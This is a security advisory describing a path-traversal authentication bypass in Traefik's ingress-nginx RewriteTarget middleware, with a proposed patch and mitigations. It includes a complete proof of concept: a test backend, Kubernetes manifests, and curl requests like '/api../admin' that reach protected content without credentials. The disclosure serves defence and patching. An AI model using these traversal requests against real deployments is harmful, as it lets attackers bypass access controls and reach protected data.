OSV 1.4.0 · github-reviewed · 修改于 2026-08-07 00:45
发布时间
2026-08-07 00:45
GitHub 审查时间
2026-08-07 00:45
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/08/GHSA-8rxv-jg7p-wvg3/GHSA-8rxv-jg7p-wvg3.json
There is a high severity vulnerability in Traefik's Kubernetes Ingress NGINX provider. When an Ingress uses the nginx.ingress.kubernetes.io/rewrite-target annotation with a regular expression that captures attacker-controlled text without requiring a path separator (for example path /api(.*) with rewrite target /$1), the generated RewriteTarget middleware can turn an initially safe request path into a dot-segment traversal path after the router has already been selected.
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>Traefik's Kubernetes Ingress NGINX provider creates an internal RewriteTarget middleware for the nginx.ingress.kubernetes.io/rewrite-target annotation. When an Ingress path captures attacker-controlled text without requiring a path separator, the middleware can turn an initially safe path into a dot-segment traversal path after Traefik has already selected the router.
For example, with Ingress path /api(.*) and rewrite target /$1, an unauthenticated request to /api../admin follows this flow:
/api../admin unchanged because api.. is one ordinary segment.PathRegexp("(?i)^/api(.*)") rule matches.RewriteTarget captures ../admin and creates /../admin./../admin without checking whether path normalization changes it./../admin to /admin./adminThis is an unpatched sibling of GHSA-cxjq-mrr5-89rv, which added post-replacement normalization validation to ReplacePathRegex. The separate ingress-nginx RewriteTarget implementation did not receive the same validation. The bypass remains exploitable in the patched Traefik v3.7.7 release.
Proposed severity: Critical
CVSS 3.1: 9.1 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Primary weakness: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
Secondary weakness: CWE-288 — Authentication Bypass Using an Alternate Path or Channel
The practical impact depends on the protected backend paths. If they are read-only or low sensitivity, environmental severity may be lower.
rewrite-target with a regex that can capture .. adjacent to the matched prefix, such as /api(.*) with /$1./admin, and relies on a Traefik authentication or authorization middleware.These are deployment prerequisites; the remote attacker needs no credentials or special timing.
master at commit b93f02cd07b79490fb8c8f02e301a7a1ec553195v3.7 branch at 69259c3acc9d4bdc065cb2e3b83336f7de3e7038The vulnerable middleware is present in every stable v3.7 release checked. The v2.11 and v3.6 branches do not contain this ingress-nginx RewriteTarget implementation.
pkg/provider/kubernetes/ingress-nginx/middleware.go:257-274
rewrite-target annotation directly into dynamic.RewriteTarget configuration.pkg/middlewares/ingressnginx/rewritetarget/rewrite_target.go:85-157
pkg/server/middleware/middlewares.go:346-353
The provider passes the route regex and annotation replacement into the middleware:
loc.RewriteTarget = &dynamic.RewriteTarget{
Regex: loc.Path,
Replacement: rewrite,
}
RewriteTarget.ServeHTTP then derives a path from attacker-controlled capture groups:
newTarget = rt.regexp.ReplaceAllString(currentPath, rt.replacement)
req.URL.RawPath = newTarget
req.URL.Path, err = url.PathUnescape(req.URL.RawPath)
req.RequestURI = req.URL.RequestURI()
rt.next.ServeHTTP(rw, req)
There is no invariant check between PathUnescape and forwarding to ensure that req.URL.Path equals its normalized form. Because routing happens before middlewares execute, any protected router that would match the normalized result is never reconsidered.
The core ReplacePathRegex middleware now enforces this invariant by calling req.URL.JoinPath() and returning HTTP 400 when normalization changes the replacement. RewriteTarget implements equivalent capture-based behavior but lacks that check.
Default entryPoints.<name>.http.sanitizePath=true does not prevent this issue. Sanitization occurs before routing and before RewriteTarget creates the traversal sequence.
An unauthenticated network attacker can bypass route-level authentication or authorization and access protected paths on the backend. Depending on the protected API, this can allow:
The middleware is method-agnostic, so the issue is not limited to read-only requests.
5c8ff19144683f862c04e8ac01893e8cd94a3519d3d9ca3e6fbd0a7de73261basanitizePath=trueNo Traefik source files were modified.
Save as backend.js:
const http = require("http");
const path = require("path");
http.createServer((req, res) => {
const rawPath = req.url.split("?", 1)[0];
const normalizedPath = path.posix.normalize(rawPath);
const protectedPath = normalizedPath === "/admin" || normalizedPath.startsWith("/admin/");
const body = JSON.stringify({
rawPath,
normalizedPath,
result: protectedPath ? "ADMIN_SECRET_DATA" : "PUBLIC",
});
res.writeHead(200, { "Content-Type": "application/json" });
res.end(body);
}).listen(19090, "127.0.0.1");
Run it:
node backend.js
The ExternalName service makes an externally run Traefik process connect to the local backend. If Traefik runs inside the cluster, replace it with a normal Deployment and ClusterIP Service.
apiVersion: v1
kind: Secret
metadata:
name: basic-auth
namespace: default
type: Opaque
stringData:
auth: |
admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/
---
apiVersion: v1
kind: Service
metadata:
name: backend
namespace: default
spec:
type: ExternalName
externalName: localhost
ports:
- name: http
port: 19090
targetPort: 19090
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: public-api
namespace: default
annotations:
kubernetes.io/ingress.class: nginx
nginx.ingress.kubernetes.io/use-regex: "true"
nginx.ingress.kubernetes.io/rewrite-target: "/$1"
spec:
rules:
- http:
paths:
- path: /api(.*)
pathType: ImplementationSpecific
backend:
service:
name: backend
port:
number: 19090
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: protected-admin
namespace: default
annotations:
kubernetes.io/ingress.class: nginx
nginx.ingress.kubernetes.io/auth-type: basic
nginx.ingress.kubernetes.io/auth-secret: basic-auth
nginx.ingress.kubernetes.io/auth-realm: Authentication Required
spec:
rules:
- http:
paths:
- path: /admin
pathType: Prefix
backend:
service:
name: backend
port:
number: 19090
kubectl apply -f poc.yaml
KUBECONFIG="$HOME/.kube/config" ./traefik \
--entryPoints.web.address=127.0.0.1:18080 \
--providers.kubernetesIngressNginx.watchNamespace=default \
--providers.kubernetesIngressNginx.httpEntryPoint=web \
--global.checkNewVersion=false \
--log.level=DEBUG
Traefik generates the following relevant dynamic configuration:
{
"rule": "PathRegexp(\"(?i)^/api(.*)\")",
"middlewares": ["...-rewrite-target"],
"rewriteTarget": {
"regex": "/api(.*)",
"replacement": "/$1"
}
}
The protected router separately contains a BasicAuth middleware and a PathRegexp("(?i)^/admin") rule.
curl --path-as-is -i http://127.0.0.1:18080/admin
Observed:
HTTP/1.1 401 Unauthorized
Plain variant:
curl --path-as-is -i http://127.0.0.1:18080/api../admin
Observed:
HTTP/1.1 200 OK
{"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMIN_SECRET_DATA"}
Percent-encoded variant:
curl --path-as-is -i http://127.0.0.1:18080/api%2e%2e/admin
Observed:
HTTP/1.1 200 OK
{"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMIN_SECRET_DATA"}
The direct request receives 401, while both unauthenticated traversal requests receive the protected content with status 200.
Apply the same post-rewrite normalization invariant used by the patched ReplacePathRegex middleware. After decoding RawPath, normalize a copy and reject the request if normalization changes Path:
path := req.URL.Path
if path != "" {
req.URL = req.URL.JoinPath()
}
if path != req.URL.Path {
logger.Debug().Msgf(
"Rejecting request, normalized path %q differs from rewritten path %q",
req.URL.Path,
path,
)
http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)
return
}
req.RequestURI = req.URL.RequestURI()
Recommended additional actions:
ReplacePathRegex, StripPrefix, StripPrefixRegex, and ingress-nginx RewriteTarget to prevent future drift./api../admin and /api%2e%2e/admin, expecting HTTP 400.URL.Path and URL.RawPath cases and preserve legitimate encoded-path behavior.rewrite implementation for the same post-rewrite invariant.Use a regex that requires a separator or end-of-path before captured user data, for example:
nginx.ingress.kubernetes.io/use-regex: "true"
nginx.ingress.kubernetes.io/rewrite-target: "/$2"
# Ingress path:
path: /api(/|$)(.*)
This prevents /api../admin from matching. Also enforce authentication in the backend rather than relying exclusively on separate Traefik path routers. Entry-point sanitizePath=true alone is not a mitigation because the dangerous dot segment is created after sanitization.
As of 2026-07-09:
RewriteTarget or ingress-nginx rewrite-target path traversal.pkg/middlewares/replacepathregex, while this report affects pkg/middlewares/ingressnginx/rewritetarget and reproduces on the version that contains that fix, v3.7.7.If confirmed, could you please create a GitHub Security Advisory and request a CVE? I am happy to validate a patch and coordinate disclosure.